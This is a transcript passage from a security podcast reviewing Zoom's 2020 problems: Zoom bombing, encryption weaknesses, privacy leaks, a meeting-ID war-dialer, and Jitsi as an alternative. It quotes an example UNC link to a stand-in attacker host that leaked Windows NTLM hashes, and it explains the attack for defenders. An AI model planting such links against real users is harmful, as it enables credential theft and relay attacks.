Ars Technica briefly summed things up last Thursday, writing: "With the coronavirus pandemic forcing millions of people to work, learn, and socialize from home, Zoom conferences are becoming a default method to connect. And with popularity comes abuse. Enter 'Zoom bombing,' the phenomenon of trolls intruding into other people's meetings for the sole purpose of harassing the attendees, usually by bombarding them with racist or sexually explicit images or statements."

Ars wrote: "A small sample of the events over the past few days." And they had three. An attendee who disrupted an Alcohol Anonymous meeting by shouting misogynistic and anti-Semitic slurs, along with the statement "Alcohol is soooo good," according to Business Insider. Meeting organizers eventually muted and removed the intruder, but only after more than half the participants had left. Second example, a Zoom conference hosting students from the Orange County Public Schools system in Florida that was disrupted after an uninvited participant exposed himself to the class. And third, an online meeting of black students at the University of Texas that was cut short when it was interrupted by visitors using racial slurs. So typical hijinks. But a problem when you're trying to do all this online. And it's possible to have these meetings interrupted.

And not only can online conferences be held on the Internet, but Zoom bombing raids can also be organized using the Internet's social media tools just as easily. ZDNet wrote: "The Internet is rife with online communities where users can go and share Zoom conference codes and request that pranksters connect and hurl insults, play pornographic material, or make death threats against other participants in a practice called 'Zoom bombing' or a 'Zoom raid.'"

They said: "These Zoom bombing incidents have rapidly increased to become a favorite pastime for all the teenagers stuck in their homes during quarantines. From a niche prank that started on a derelict Discord channel, Zoom bombing," they wrote, "has now spread to enormous proportions, being so rampant these days that the FBI sent a nationwide alert last week urging companies, schools, and universities to take steps to secure their Zoom channels. But as Zoom bombing became more popular, more pranksters wanted to join in the fun, and more users wanted their friends' Zoom meetings disrupted. As the old saying goes," they wrote, "where there's a demand, there's always a supply.

"Over the course of the past week, the number of places on the public Internet where a Zoom raid can be requested from a gang of bored teenagers has exploded. There are now more than 30 public Discord channels. There are at least three subreddits, and multiple Twitter accounts where Zoom conference codes and passwords can be posted to be broadcast to the Internet. And there are threads on at least three hacking forums where users are either sharing Zoom conference codes or techniques to discover live meetings."

Some examples of Discord posts revealed by PC Magazine's reporting include: "Can anybody troll my science class at 9:15," or "I have a class in 30 minutes that I'll send a link for," or "My friend's going to give me the code to her high school pre-calc class tomorrow morning."

So as I noted above, Zoom does provide for password-protected meetings. But when an entire class of teenagers at home are provided with the Zoom meeting code and its accompanying password, it's easy for any of them to post those credentials anonymously to get their virtual classroom disrupted by a friend or anybody on the Internet.

Now, fortunately, the Zoom system does offer some additional controls to control and prevent such disruption. Zoom offers a virtual waiting room, where wannabe participants can be held, staged, and vetted before being admitted into the conference. And once all vetted participants have been added, essentially once a virtual roll call is complete, Zoom conferences can be locked to prevent anyone else from wandering in late, very much like locking the classroom door once class has begun. And it's also possible to prevent anyone other than the host from sharing their screen with the conference, which only makes sense, though it's not currently the default, since the system was originally meant to be open and friendly and collaborative.

So this is what's going to have to happen moving forward. And of course all that requires much more hands-on management. It's not nearly as simple as publicly posting the access codes and everything works smoothly, but welcome to the Internet. That's the way it's going to have to be.

And that's the usage sides tip. And I should mention that, since I posted the show notes, I just checked with Twitter, and there's at least one person who read through this already who's an admin at a company who is using Zoom and gave it the thumbs-up. He said he appreciated and liked everything that I had suggested. So it looks like this is good advice.

So as I said, that's the usage side, which has immediately become necessary for managing the rampant abuse of Zoom meetings. Not surprisingly, as I said at the top, there were some technical problems that have surfaced as a result of more scrutiny being brought to bear. Last Wednesday a piece in Ars Technica stated that: "Users of Zoom for Windows beware: The widely used software has a vulnerability that allows attackers to steal your operating system credentials." They were quoting researchers, so perhaps that's what the researchers said. It wasn't exactly true. Though it's definitely a serious vulnerability, or it was. It would be more correct to say that it was a credential impersonation attack.

The Zoom chat window could be used to send targeted Windows users a string of text that represented a network resource on the Windows device they were using. The Zoom app for Windows would automatically convert these UNC - that's the Universal Naming Convention - strings such as \\attacker.baddomain.com\C$. C is the default share, the default Windows share for your main C drive. The Zoom app would convert these into clickable links. If the target clicked on those links in the chat, on networks that are not locked down, Zoom would send the Windows usernames and the corresponding network NTLM v2 hashes to the address contained in the link, that is, out onto the public Internet to the attacker.

Attackers could then use these credentials to access those default shared network resources like C:, Outlook servers, storage devices, whatever. And this is caused by the fact that a Windows network will accept the NT LANMAN, the NTLM hash, when authenticating a user. That leaves the networks open to SMB Relay attacks that can be used to gain unauthorized access to various resources. These attacks don't require cracking the hash to reverse it to its plaintext password. Replaying the existing hash is sufficient for authentication. And as I've said many times before, Microsoft has never really managed to make any of its in-house protocols secure, which is why none of them should ever be exposed to the Internet.

Okay. So it's worth noting that since all of this is happening over port 445, any Zoom user who is behind an ISP, who is already proactively filtering the typical range of highly abused ports - I'm a Cox Cable user. All of mine are filtered. So those are typically ports 25 (SMTP), ports 137 through 139 (old-school file and printer sharing), and 445 (the new SMB port). Those are typically all blocked. So many home users were never in any danger. They always have been protected from the remote exploitation of this flaw because the hacker's not able to get back in. But it's way better not to have this problem. And immediately upon having it brought to their attention, Zoom repaired and updated their client to close this hole. So problem solved. But it was there for a while, and spooky.

And of course there's more. It's been revealed that Zoom conference connections are not truly end-to-end encrypted, as they claim, and that Zoom is able to see all of their conference content unencrypted. I can understand this, since hosting a massive conference with true end-to-end encryption would be a bit tricky. All of the participants would need to be sharing a common symmetric key that Zoom itself didn't have access to. Obviously, that can be done, and Zoom didn't have to do it the way it did. But anyway, instead what's happened is each conference participant's data stream is encrypted to Zoom, but decrypted there, and subsequently reencrypted to all other participants.

Leo: I think in general that's how a conference system would have to work. You can't do end-to-end encryption if you're going to have a central server; right? And somebody's got to mix it.

Steve: Actually, yeah, you are able to. And apparently in some instances theirs does. But if you turn on value-added features, then it doesn't happen.

Okay. So also in subsequent research by Citizen Lab they found that Zoom was also vague about the type of encryption being used, and that the keys generated for cryptographic operations were being delivered to participants in a Zoom meeting through servers in China, even when all meeting participants and the Zoom subscriber's company were outside of China. Apparently that was a mistake. They did some quick footwork and explained it away and said that it's been fixed. But it was happening for a while.

And the audio and video in each Zoom meeting is encrypted and decrypted with a single AES-128 cipher used in ECB mode, which is shared among all participants. As we know, ECB mode is Electronic Code Book. That is not a chaining cipher. Each block is independently encrypted without dependence upon anything that came before. The result is that patterns present in the plaintext are preserved through encryption, which is considered to be a serious security weakness.

Zoom's original privacy policy also came under criticism because it was possible for Zoom to collect extensive data about its users - videos, transcripts, and shared notes - and share it with third parties for profit. Whoops. On March 29th, Zoom tightened its privacy policy to state that it doesn't use data from meetings for any advertising. But it does use the data when people visit its marketing websites, including its home pages, Zoom.us and Zoom.com.

Zoom's iOS app, like many apps which use the Facebook SDK, was found to be sending analytics data back to Facebook, even when the user doesn't have a linked Facebook account. Zoom later removed that feature. Zoom came under the lens for its attendee-tracking feature, which when enabled lets a host check if participants are clicking away from the main Zoom window during a call. On April 2nd, it permanently removed the attendee attention tracker function.

Zoom was found to be using an undisclosed data mining feature that automatically matched users' names and email addresses to their LinkedIn profiles when they were signed in, even if they were anonymous or using a pseudonym during their call. If another user in their meeting was subscribed to a service called LinkedIn Sales Navigator, they were able to access the LinkedIn profiles of other participants in their Zoom meetings without those users' knowledge or consent. Zoom has now disabled that feature.

Vice Magazine discovered and revealed that Zoom was leaking thousands of users' email addresses and photos, and letting strangers initiate calls with each other. It turned out that was because users with the same domain name in their email address - get this, Leo. Users with the same domain name in their email address, that is, using lesser known email providers other than Gmail, Outlook, Hotmail, or Yahoo, which Zoom had special-cased, were being grouped together as if they worked for the same company. Whoops. Zoom has selectively blacklisted those domains, though the whole thing seems like a bad idea to me.

Last Friday the Washington Post reported that it was trivial to find video recordings made in Zoom by searching the Internet for the common file naming pattern that Zoom automatically applies to video recordings. These videos were found on publicly accessible Amazon storage buckets. It's not a biggie since that was relying upon obscurity rather than any security, but still. Researchers have created a tool called "zWarDial" that searches for open Zoom meeting IDs, finding around 100 open and non-password protected meetings per hour.

The good news is Zoom has been responding to each and every one of these issues quickly. And it does appear that, given its existing feature set, it can be used and put to good purpose so long as tight control is maintained over those who are allowed to participate. Although exerting such control might be difficult for very large meetings, in a typical virtual classroom that ought to be workable.

Their use of AES-128 in ECB mode is a red flag from a strict security standpoint. It basically means that Zoom implemented its own cryptographic system, which is not, you know, it's obvious to anyone looking at it, not very secure. I can see the benefits of using ECB mode for a multiway conferencing system. It makes things much easier, allowing latecomers to more easily join into the fray. But users should not assume that they have truly secure end-to-end encryption. Apparently no one using Zoom really does. But with that caveat, okay, for many people it doesn't matter. For an otherwise public classroom or a yoga class, it's entirely sufficient.

So that's where Zoom is. And I didn't want to finish talking about this without mentioning Jitsi Meet. If any of the listeners of this podcast are interested in exploring the possibility of quickly assembling their own private, truly secure videoconferencing system, I've been looking at Jitsi, and I would recommend checking out this free and open source Jitsi Meet system. And Leo, I heard you mentioning it just in the previous podcast.

Leo: Yeah, I set our own server up. We have our own at twit.team.

Steve: Oh, cool.

Leo: Running off my Linux box at home. It's very easy to install.

Steve: Yeah, nice.

Leo: It's trivial to install.

Steve: Yeah, yeah.

Leo: I should point out I set it up, but we still use Zoom on all of our sales calls, all our group meetings. It's just so easy. I think Jitsi's easier because it's WebRTC, so it's just a web link.

Steve: Yup, yup.

Leo: And you can make reasonable names like twit.team/securitynow, and everybody can remember it. It's logical. You can protect it. In fact, I actually protected it too much. I did a mass one during MacBreak Weekly, and then realized I forgot to open up a UDP port for the video. So I have to go back. I have a port open, it's a 443 because it does Let's Encrypt. But I need to open a port...

Steve: In order for the actual video conferencing to transit.

Leo: Yeah, yeah. Well, I've had conferences. But for some reason here I can't do it, so I'm not sure what's going on. I don't know.

Steve: Well, they say that the technology is interesting. They have what they call the "Jitsi Videobridge," and they say it passes everyone's video and audio to all participants, rather than mixing them first.

Leo: Right.

Steve: The result is lower latency, better quality, and if you're running your own service, a much more scalable and inexpensive solution.

Leo: Yeah. I'm running on 20 megabits up. You know, it uses very little CPU and doesn't use much bandwidth.

Steve: Yeah, well, it sounds like it establishes point-to-point links among all the participants so everything goes to everyone.

Leo: Right.

Steve: Rather than everything funneling through a central server.

Leo: Right.

Steve: So anyway, for our listeners who are interested, it's open source, well designed, standards based, WebRTC as you mentioned. It understands simulcast, bandwidth estimation, scalable video coding, state-of-the-art technologies. Servers are available for Ubuntu and Debian. It's got clients for all web and desktop. Jitsi.org/jitsi-meet. So I just, after looking at Zoom, I thought, well, let's take a look at a really good one.

Leo: And so great and easy.

Steve: I loved your anecdote. But yeah, we got Jitsi. But [crosstalk].

Leo: I keep telling Lisa, we pay for Zoom. I keep telling Lisa, I got a free one. It uses our TWiT name. You know, I got a domain. It took me literally 10 minutes. The longest time was just going to Hover and getting a domain name and moving the DNS. It's so simple to set up. It's one line. If you want to, now, it's a little more complicated if you want a conference bridge because it doesn't have a phone bridge. But you can use a SIP system. I haven't set that up. But it has another piece called Jigasi that does a SIP for conference, for phone bridging into it. So it's pretty full featured. It's nice. I like it.

Steve: Nice.

Leo: Yeah.

Steve: Well, and there is everything you wanted to know about Zoom Go Boom. You know, it's what the world is using. It's clear that the world needs to take it seriously now that this whole, I mean, if you have - now that there's a war dialer, if you have a non-password-protected conference where you're even protecting, you know, you're not publishing the conference ID, you could still get found. So you've got to put a password on it. Obviously you want to keep your conference IDs and passwords as private as possible. It's not going to happen if you're trying to teach a student, a high school class of kids.

Leo: This is the problem. And the big problem is, you know, I have friends in 12-step programs, and they are doing their meetings using Zoom. The problem is you have to make that public because there's no point in having a recovery meeting if you can't make it public. So they don't want to password-protect it. They can use the lobby, but that's not really even practical. So that's the problem. These public meetings are going to be Zoom bombed. And it is not fun for all when they Zoom bomb them. They use racial epithets. They do targeted attacks. They do triggering stuff. Lot of porno. It's really creepy people who are doing this. It's not fun little, oh, get my class and shut it down. It's nasty. It's nasty. Brings out the worst in people. And, you know, even Jitsi wouldn't fix this because you have to make it public. Public is public.

Steve: Yeah.

Leo: What you need is good moderation tools.

Steve: Yes.

Leo: And even then you're going to have problems.

Steve: Yeah.

Leo: Steve Gibson. You can find this show at GRC.com. That's where Steve hangs his hat, the Gibson Research Corporation. He has 16Kb audio, 64Kb audio, beautifully written transcription, you know, in text so you can read along as you listen. He also has SpinRite, the world's finest hard drive maintenance and recovery utility, and of course lots of other free stuff there, including the world-famous ShieldsUP!. It's all at GRC.com.

Leave him feedback. Every once in a while I get email saying, "I need to get this to Steve." It's easy. Go to GRC.com/feedback. Or even better, he's on Twitter. Go to @SGgrc. He accepts DMs from anybody, and you can DM him there, too. It's a lot easier. You can reach him more directly. Actually, it's easier to reach him than it is to reach me. I don't want to be as available as you want to. You're a brave man, Steve Gibson.

You can find the show at our website, too, TWiT.tv/sn. Not only do we have audio, we have video. If you want to watch, you can. It's also on YouTube, youtube.com, I think it's "securitynowshow." Actually, go to youtube.com/twit, that's the main channel, and then all the other channels are referred to there. You can follow the links. Either way, subscribe, whether it's on YouTube or in your podcast. That way you'll know the minute it's available, and you can collect all 700 and, what is it, 62?

Steve: 61.

Leo: 761 episodes. They're all yours for the asking. I meet people all the time, it's almost a geek rite of passage: "Yes, I've listened to the first 650. I'm almost caught up."

Steve: Cool.

Leo: It is. That's my reaction, is like, wow, that's great. Well done. Steve, stay safe in your Fortress of Solitude. Keep your mask on, your spirits up, and we will see you next week on Security Now!, my friend.

Steve: Thanks, buddy.